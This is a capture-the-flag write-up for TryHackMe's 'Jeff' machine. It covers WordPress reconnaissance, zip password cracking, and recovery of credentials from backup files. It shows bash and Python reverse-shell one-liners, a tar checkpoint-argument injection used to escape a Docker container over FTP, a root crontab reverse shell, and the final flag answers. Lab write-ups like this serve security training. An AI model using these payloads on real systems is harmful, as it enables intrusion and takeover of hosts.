# *Jeff TryHackMe*

Can you hack Jeff's web server?

**This machine may take upto 5 minutes to fully deploy.**

Get user.txt and root.txt.
This is my first ever box, I hope you enjoy it.
If you find yourself brute forcing SSH, you're doing it wrong.
Please don't post spoilers or stream the box for at least a couple of days.

Scope: jeff.thm

# *Nmap*

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ sudo nmap -sC -sV jeff.thm
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-21 18:35 IST
Nmap scan report for jeff.thm (10.10.114.174)
Host is up (0.44s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
|   256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_  256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
80/tcp open  http    nginx
|_http-title: Jeffs Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.07 seconds
```

# *Gobuster*

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ gobuster dir -u http://jeff.thm/ -w ~/wordlists/directory-list-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://jeff.thm/
[+] Threads:      10
[+] Wordlist:     /home/punitzen/wordlists/directory-list-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2021/04/21 18:33:49 Starting gobuster
===============================================================
/uploads (Status: 301)
/admin (Status: 301)
/assets (Status: 301)
/backups (Status: 301)
/source_codes (Status: 301)
===============================================================
```

```
2021/04/21 18:57:51 Finished
===============================================================
```

## /backup directory

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ gobuster dir -u http://jeff.thm/backups/ -w ~/wordlists/directory-list-medium.txt -x zip
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://jeff.thm/backups/
[+] Threads:      10
[+] Wordlist:     /home/punitzen/wordlists/directory-list-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     zip
[+] Timeout:      10s
===============================================================
2021/04/21 18:50:25 Starting gobuster
===============================================================

/backup.zip (Status: 200)

===============================================================
2021/04/21 18:57:44 Finished
===============================================================
```

## Subdomains

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ gobuster vhost -u http://jeff.thm -w ~/wordlists/directory-list-medium.txt -t 20
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:        http://jeff.thm
[+] Threads:    20
[+] Wordlist:   /home/punitzen/wordlists/directory-list-medium.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:    10s
===============================================================
2021/04/21 19:11:42 Starting gobuster
===============================================================

Found: wordpress.jeff.thm (Status: 200) [Size: 25901]

===============================================================
2021/04/21 19:20:44 Finished
===============================================================
```

## WPscan

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ wpscan --url http://wordpress.jeff.thm/ --enumerate u
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
```

```
         \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
          \  /\  /  | |     ____) | (__| (_| | | | |
           \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.8.10
      Sponsored by Automattic - https://automattic.com/
      @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

---

[+] URL: http://wordpress.jeff.thm/ [10.10.114.174]
[+] Started: Wed Apr 21 19:31:05 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: nginx
 |  - X-Powered-By: PHP/7.3.17
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordpress.jeff.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: http://wordpress.jeff.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordpress.jeff.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.1 identified (Insecure, released on 2020-04-29).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordpress.jeff.thm/?feed=rss2, <generator>https://wordpress.org/?v=5.4.1</generator>
 |  - http://wordpress.jeff.thm/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.4.1</generator>

[+] WordPress theme in use: twentytwenty
 | Location: http://wordpress.jeff.thm/wp-content/themes/twentytwenty/
 | Last Updated: 2021-03-09T00:00:00.000Z
 | Readme: http://wordpress.jeff.thm/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.7
 | Style URL: http://wordpress.jeff.thm/wp-content/themes/twentytwenty/style.css?ver=1.2
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordpress.jeff.thm/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'

```
[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 <=========================================>
(10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] jeff
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Apr 21 19:31:17 2021
[+] Requests Done: 23
[+] Cached Requests: 34
[+] Data Sent: 5.53 KB
[+] Data Received: 45.217 KB
[+] Memory used: 187.332 MB
[+] Elapsed time: 00:00:11
```

==========

Jeff User Found

## *Cracking zip file*

The backup.zip file we found is password protected
Lets Crack it using John

==========

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ zip2john backup.zip > backup.hash
```

==========

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ john --wordlist=~/wordlists/rockyou.txt backup.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!!Burningbird!!  (backup.zip)
1g 0:00:00:02 DONE (2021-04-21 18:56) 0.3436g/s 4928Kp/s 4928Kc/s 4928KC/s !jonaluz28!..*7iVamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

==========

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ fcrackzip -v -u -D -p ~/wordlists/rockyou.txt backup.zip
'backup/' is not encrypted, skipping
'backup/assets/' is not encrypted, skipping
found file 'backup/assets/EnlighterJS.min.css', (size cp/uc   6483/ 34858, flags 9, chk 7a80)
found file 'backup/assets/EnlighterJS.min.js', (size cp/uc  14499/ 49963, flags 9, chk 7a80)
found file 'backup/assets/MooTools-Core-1.6.0-compressed.js', (size cp/uc  27902/ 89614, flags 9, chk 7a80)
found file 'backup/assets/profile.jpg', (size cp/uc  10771/ 11524, flags 9, chk 7a80)
found file 'backup/assets/style.css', (size cp/uc    675/  1439, flags 9, chk 7a80)
found file 'backup/index.html', (size cp/uc    652/  1178, flags 9, chk 7a80)
found file 'backup/wpadmin.bak', (size cp/uc     53/    41, flags 9, chk 7a80)
```

checking pw 05546TUNmaneerat

PASSWORD FOUND!!!!: pw == !!Burningbird!!

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ unzip backup.zip
Archive:  backup.zip
   creating: backup/
   creating: backup/assets/
[backup.zip] backup/assets/EnlighterJS.min.css password:
  inflating: backup/assets/EnlighterJS.min.css
  inflating: backup/assets/EnlighterJS.min.js
  inflating: backup/assets/MooTools-Core-1.6.0-compressed.js
  inflating: backup/assets/profile.jpg
  inflating: backup/assets/style.css
  inflating: backup/index.html
 extracting: backup/wpadmin.bak
```

## *wordpress .bak file*

After Enumeration, We found only this file interesting

wordpress password is: phO#g)C5dhIWZn3BKP

## *WP-Login*

we found user jeff, we try to login using the password found previously

==========

We Logged in Successfully

username : jeff
password : phO#g)C5dhIWZn3BKP

## *WP-Exploitation to get Revshell*

We couldn't find 404.php, so we used “Hello Dolly” Plugin which use php

adding the command

```
exec("/bin/bash -c 'bash -i > /dev/tcp/10.XX.XXX.183/4444 0>&1'");
```

==========$

rlwrap nc -nvlp 4444

We got the shell

## *Privilege Escalation*

We found a php script

```
cat /var/www/html/ftp_backup.php
<?php
```

```
/*
   Todo: I need to finish coding this database backup script.
        also maybe convert it to a wordpress plugin in the future.
*/
$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';

$username = "backupmgr";
$password = "SuperS1ckP4ssw0rd123!";

$ftp = ftp_connect("172.20.0.1"); // todo, set up /etc/hosts for the container host

if( ! ftp_login($ftp, $username, $password) ){
   die("FTP Login failed.");
}

$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
   $msg = "$file was uploaded.\n";
}

echo $msg;
ftp_close($conn_id);
```

==========

```
username = backupmgr
password = SuperS1ckP4ssw0rd123!
```

# *Escape Docker*

We have to Escape Docker Container using FTP

```
$ echo "python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.XXX.XX.183\",-
5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" >
shell.sh
$ echo "" > "/var/www/html/--checkpoint=1"
$ echo "" > "/var/www/html/--checkpoint-action=exec=sh shell.sh"
```

==========

And now, let's upload them to the remote location:

```
$ curl -v -P - -T "/var/www/html/shell.sh" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
$ curl -v -P - -T "/var/www/html/--checkpoint=1" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
$ curl -v -P - -T "/var/www/html/--checkpoint-action=exec=sh shell.sh" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!-
@172.20.0.1/files/'
```

==========

And We Escaped the Docker Container

```
┌──(punitzen㉿kali)-[~/thmlabs/jeff]
└─$ rlwrap nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.XXX.XXX.183] from (UNKNOWN) [10.10.114.174] 43326
bash: cannot set terminal process group (3075): Inappropriate ioctl for device
bash: no job control in this shell
backupmgr@tryharder:~/.ftp/files$
```

# *PE From backupmgr*

backupmgr@tryharder:~$ find / -type f -user jeff 2>/dev/null
find / -type f -user jeff 2>/dev/null
/opt/systools/systool
/var/backups/jeff.bak
backupmgr@tryharder:~$ cat /var/backups/jeff.bak
cat /var/backups/jeff.bak
cat: /var/backups/jeff.bak: Permission denied

==========

backupmgr@tryharder:/opt$ ls
containerd  systools
cd systools
ls

backupmgr@tryharder:/opt/systools$ ls
message.txt  systool
cat message.txt
cat message.txt
Jeff, you should login with your own account to view/change your password. I hope you haven't forgotten it.
ln -sf /var/backups/jeff.bak message.txt
ln -sf /var/backups/jeff.bak message.txt
./systool
./systool
Welcome to Jeffs System Administration tool.
This is still a very beta version and some things are not implemented yet.
Please Select an option from below.
1 ) View process information.
2 ) Restore your password.
3 ) Exit
2
2

Your Password is: 123-My-N4M3-1z-J3ff-123

==========

Let's SSH into the Box

# *SSH*

Its gave us restricted shell

lets bypass with command

$ ssh jeff@jeff.thm -t “bash -l”

we got the shell

==========

jeff@tryharder:~$ cat user.txt
Command 'cat' is available in '/bin/cat'
The command could not be located because '/bin' is not included in the PATH environment variable.
cat: command not found
jeff@tryharder:~$ echo $PATH

/home/jeff/.bin
jeff@tryharder:~$ export PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin
jeff@tryharder:~$ echo $PATH
/bin:/usr/bin:/usr/sbin:/usr/local/bin
jeff@tryharder:~$ cat user.txt
THM{HashMeLikeOneOfYourFrenchGirls}

The flag seems to be hashed (`HashMeLikeOneOfYourFrenchGirls`) with MD5:
jeff@tryharder:~$ echo -n "HashMeLikeOneOfYourFrenchGirls" | md5sum
e122d5588956ef9ba7d4d2b2fee00cac

## *Crontab*

jeff@tryharder:~$ sudo -l
[sudo] password for jeff:
Matching Defaults entries for jeff on tryharder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jeff may run the following commands on tryharder:
    (ALL) /usr/bin/crontab

==========

editing crontab file

$ sudo crontab -e

* * * * * python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('[redacted]',-4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

==========

On Our Machine

$ rlwrap nc -nvlp 4444

and we got the shell as root

## *Questions*

What is user Flag

User flag: `THM{e122d5588956ef9ba7d4d2b2fee00cac}`

What is root flag

Root flag: `THM{40fc54e5c0f5747dfdd35e0cc7db6ee2}`